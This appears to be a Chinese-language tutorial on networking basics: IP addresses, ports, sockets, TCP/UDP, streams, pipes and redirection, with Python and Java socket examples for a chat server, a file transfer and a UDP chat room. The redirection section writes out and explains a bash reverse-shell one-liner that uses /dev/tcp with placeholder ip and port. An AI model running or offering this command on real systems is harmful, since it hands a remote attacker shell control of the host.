网络如何连接
IP地址
如何精准找到另外一台计算机呢?想要实现通信首先要找到目的计算机,类似我们的快递,必须有收件人的地址才能送到,我们通过ip地址
来定位一台机器
目前广泛使用的是ipv4
地址,使用32位(4字节)的地址,如:192.168.0.1
,如果能使用ip地址标识每一台计算机,就像身份证一样,我们就能很容易定位了,ipv4
地址有2^32=4294967296
个,已经用完,目前正在向ipv6
(2128[约3.4×1038])地址过渡(号称可以为地球上每一粒沙子分配IP)
不同国家地区的ip地址段
中国地址段
详细信息,每一个IP都不是随意划分的,类似邮编区号,ip地址定位的原理也是如此,即使重新分配,大段一般也不会变的
端口
我们的计算机上通常运行着许多服务,对应着不同的进程
我们如何将请求交给对应的程序处理呢?就是获取对应的进程id,但是直接获取进程id并不方便,而且会经常变化等…为了解决这一问题,提供了一个中间层,就是端口的概念,让服务端的程序通过监听端口来处理客户端的请求,这样问题就解决了
socket
有了端口,系统为我们提供了socket
接口,使用源ip+源端口+目的ip+目的端口的四个信息就可以实现不同计算机端口间通信的功能
我们实现一个socket
连接,它是client/server
模式的
server.py
:在本机6666端口监听,定义一个dict
用于返回数据
import socket
language = {"what is your name?":"I am Tom","how old are you":"25","bye":"bye"}
HOST = "127.0.0.1"
PORT = 6666
# AF_INET 代表使用ipv4地址家族 SOCK_STREAM 代表使用 TCP 协议
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 将创建的socket绑定到本机的6666端口
# 127.0.0.1只适用于本机的各个网卡通信 而0.0.0.0可以接受所有IP的访问相当于一个占位符
s.bind((HOST,PORT))
s.listen(1)
print("listening at 6666")
# 接收任意客户端连接并保存ip地址
conn,addr = s.accept()
print("Connect by:",addr)
while True:
# 接收传输的数据 一次小于1024个字节
data = conn.recv(1024)
data = data.decode()
if not data:
break
print("Received message:",data)
# 获取键data对应的值并返回 为空则返回 Nothing
conn.sendall(language.get(data,'Nothing').encode())
conn.close()
s.close()
client.py
:向server
端发送信息并接收返回数据
#coding:utf-8
import socket,sys
HOST = "127.0.0.1"
PORT = 6666
# 连接到目标ip端口
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
except Exception as e:
print("server not found")
sys.exit()
while True:
# 接收键盘输入并发送了。
c = input("you say:")
s.sendall(c.encode())
# 接收返回并打印
data = s.recv(1024)
data = data.decode()
print('Recevied:',data)
if c.lower == "再见":
break
s.close()
协议
协议就是双方约定的数据格式,比如我懂中文才能写出这篇文章(不要说翻译器,翻译器也要懂中文才能翻译),而只有懂中文的才能看懂,重点是双方都能懂的,又比如文件头,定义不同的文件头告诉操作系统使用什么软件来解析文件,毕竟数据对计算机来说都是01串
计算机与网络设备要相互通信,双方就必须基于相同的方法。比如,如何探测到通信目标、由哪一边先发起通信、使用哪种语言进行通信、怎样结束通信等规则都需要事先确定。不同的硬件、操作系统之间的通信,所有的这一切都需要一种规则。而我们就把这种规则称为协议
TCP/IP 是互联网相关的各类协议簇的总称,比如:TCP,UDP,IP,FTP,HTTP,ICMP,SMTP 等都属于 TCP/IP 族内的协议
————摘自知乎
我们最常听到的就是tcp
、udp
两种协议,它们都是传输层的协议,一个端口只能同时运行一个tcp服务,但是可以同时运行一个tcp服务,一个udp服务,这也是找到进程的一个参数
netstat -ano
:查看本机开放端口,有TCP
、UDP
两种协议
我们之前的程序监听的6666端口
数据处理流程如下:
流与管道
经常接触的两个概念,流,顾名思义,就像水流一样,从一端流向另一端,它分为输入流和输出流
输入流(标准输入):从键盘或文件中读取内容到内存中
输出流(标准输出):从内存中把数据写入文件或显示到显示器上
管道:管道是流的容器,它是对流进行处理的一种方式,| 即管道符
command1 | command2 | command3 … # 顺序执行命令
netstat -tnlp | grep:80 # 对结果进行过滤
重定向
linux
中数据流有三种:
文件描述符 | 设备文件 | 说明 |
---|---|---|
0 | /dev/stdin | 标准输入 |
1 | /dev/stdout | 标准输出 |
2 | /dev/stderr | 标准错误 |
可以通过重定向技术,将流重定向到其他位置,比较常用的语句就是反弹shell的命令
bash -i >& /dev/tcp/ip/port 0>&1
bash -i
表示在本地打开一个bash,/dev/tcp/
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>& /dev/tcp/ip/port
表示将标准输出和标准错误输出重定向到这个文件上,即传递给远程监听的主机端口,攻击机开启监听就会接收到这个bash的标准输出和标准错误输出,0>&1
表示将标准输入重定向到标准输出,此时标准输出已重定向到/dev/tcp/ip/port
这个文件,也就是远程主机,标准输入也就重定向到了远程主机,所以可以直接在远程主机中输入命令,目标主机也会执行对应命令,将标准输出返回到攻击机,就是一个常见的shell的原理
例子
java tcp 文件传输
创建socket
连接,通过IO流
读取写入传输文件 网络编程-狂神
server.java
public class server {
public static void main(String[] args) throws Exception{
//1.创建服务,本地监听9000端口
ServerSocket serverSocket = new ServerSocket(9000);
//2.监听客户端连接
Socket socket = serverSocket.accept(); //阻塞式监听,会一直等待客户端连接
//3.获取输入流,即客户端传递的数据
InputStream is = socket.getInputStream();
//4.文件输出,将客户端上传数据保存到本地
FileOutputStream fos = new FileOutputStream(new File("server.jpg"));
byte[] buffer = new byte[1024];
int len;
while ((len= is.read(buffer))!=-1){
fos.write(buffer,0,len);
}
// 通知客户端接收完毕
OutputStream os = socket.getOutputStream();
os.write("接收完毕,可以断开".getBytes());
// 关闭资源
fos.close();
is.close();
socket.close();
serverSocket.close();
}
}
client.java
public class client {
public static void main(String[] args) throws Exception {
//1.创建一个socket连接,连接服务器
Socket socket = new Socket(InetAddress.getByName("127.0.0.1"),9000);
//2.创建一个输出流,用于传递本机文件
OutputStream os = socket.getOutputStream();
//3.读取文件
FileInputStream fis = new FileInputStream(new File("client.jpg"));
//4.将文件写入到流
byte[] buffer = new byte[1024];
int len;
while ((len=fis.read(buffer))!=-1){
os.write(buffer,0,len);
}
// 通知服务器,文件写入完毕
socket.shutdownOutput();
// 确定服务器接收完毕,断开连接
InputStream inputStream = socket.getInputStream();
// 将服务端返回的提示信息以同样的方法输出
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer2 = new byte[2048];
int len2;
while ((len2=inputStream.read(buffer2))!=-1){
baos.write(buffer2,0,len2);
}
System.out.println(baos.toString());
//5.关闭资源
baos.close();
inputStream.close();
fis.close();
os.close();
socket.close();
}
}
java udp 多线程聊天室
TalkSend.java
// 使用多线程需要继承 Runnable 接口
public class TalkSend implements Runnable{
DatagramSocket socket = null;
BufferedReader reader = null;
// 定义源端口+目的IP+目的端口
private int fromPort;
private final String toIP;
private final int toPort;
public TalkSend(int fromPort, String toIP, int toPort){
this.fromPort = fromPort;
this.toIP = toIP;
this.toPort = toPort;
try {
// 创建一个 socket udp 会话,用来发送接收数据包,本地监听端口用于接收返回数据
socket = new DatagramSocket(fromPort);
// 从控制台读取输入
reader = new BufferedReader(new InputStreamReader(System.in));
} catch (SocketException e) {
throw new RuntimeException(e);
}
}
@Override
public void run() {
while (true){
try {
// 控制台读取输入
String data = reader.readLine();
byte[] datas = data.getBytes();
// 封装包
DatagramPacket packet = new DatagramPacket(datas,0,datas.length,new InetSocketAddress(this.toIP,this.toPort));
// 发送包
socket.send(packet);
// 结束条件
if (data.startsWith("bye")){
break;
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
//socket.close();
}
}
TalkReceive.java
public class TalkReceive implements Runnable{
DatagramSocket socket = null;
private int port;
private final String msgFrom;
public TalkReceive(int port,String msgFrom){
this.port = port;
this.msgFrom = msgFrom;
try {
socket = new DatagramSocket(port);
} catch (SocketException e) {
throw new RuntimeException(e);
}
}
@Override
public void run() {
while (true){
try {
// 准备接收包裹
byte[] container = new byte[1024];
DatagramPacket packet = new DatagramPacket(container,0,container.length);
socket.receive(packet);
byte[] data = packet.getData();
// 数据删除空格
String receiveData = new String(data, 0,data.length).trim();
System.out.println(msgFrom+": "+receiveData);
if (receiveData.equals("bye")){
break;
}
} catch (IOException e) {
throw new RuntimeException(e);
}
}
socket.close();
}
}
TalkTeacher.java
public class TalkTeacher {
public static void main(String[] args) {
// 分别创建接收和发送线程
new Thread(new TalkSend(5555,"localhost",8888)).start();
new Thread(new TalkReceive(9999,"学生")).start();
}
}
TalkStudent.java
public class TalkStudent {
public static void main(String[] args) {
// 分别创建接收和发送线程
new Thread(new TalkSend(7777,"localhost",9999)).start();
new Thread(new TalkReceive(8888,"老师")).start();
}
}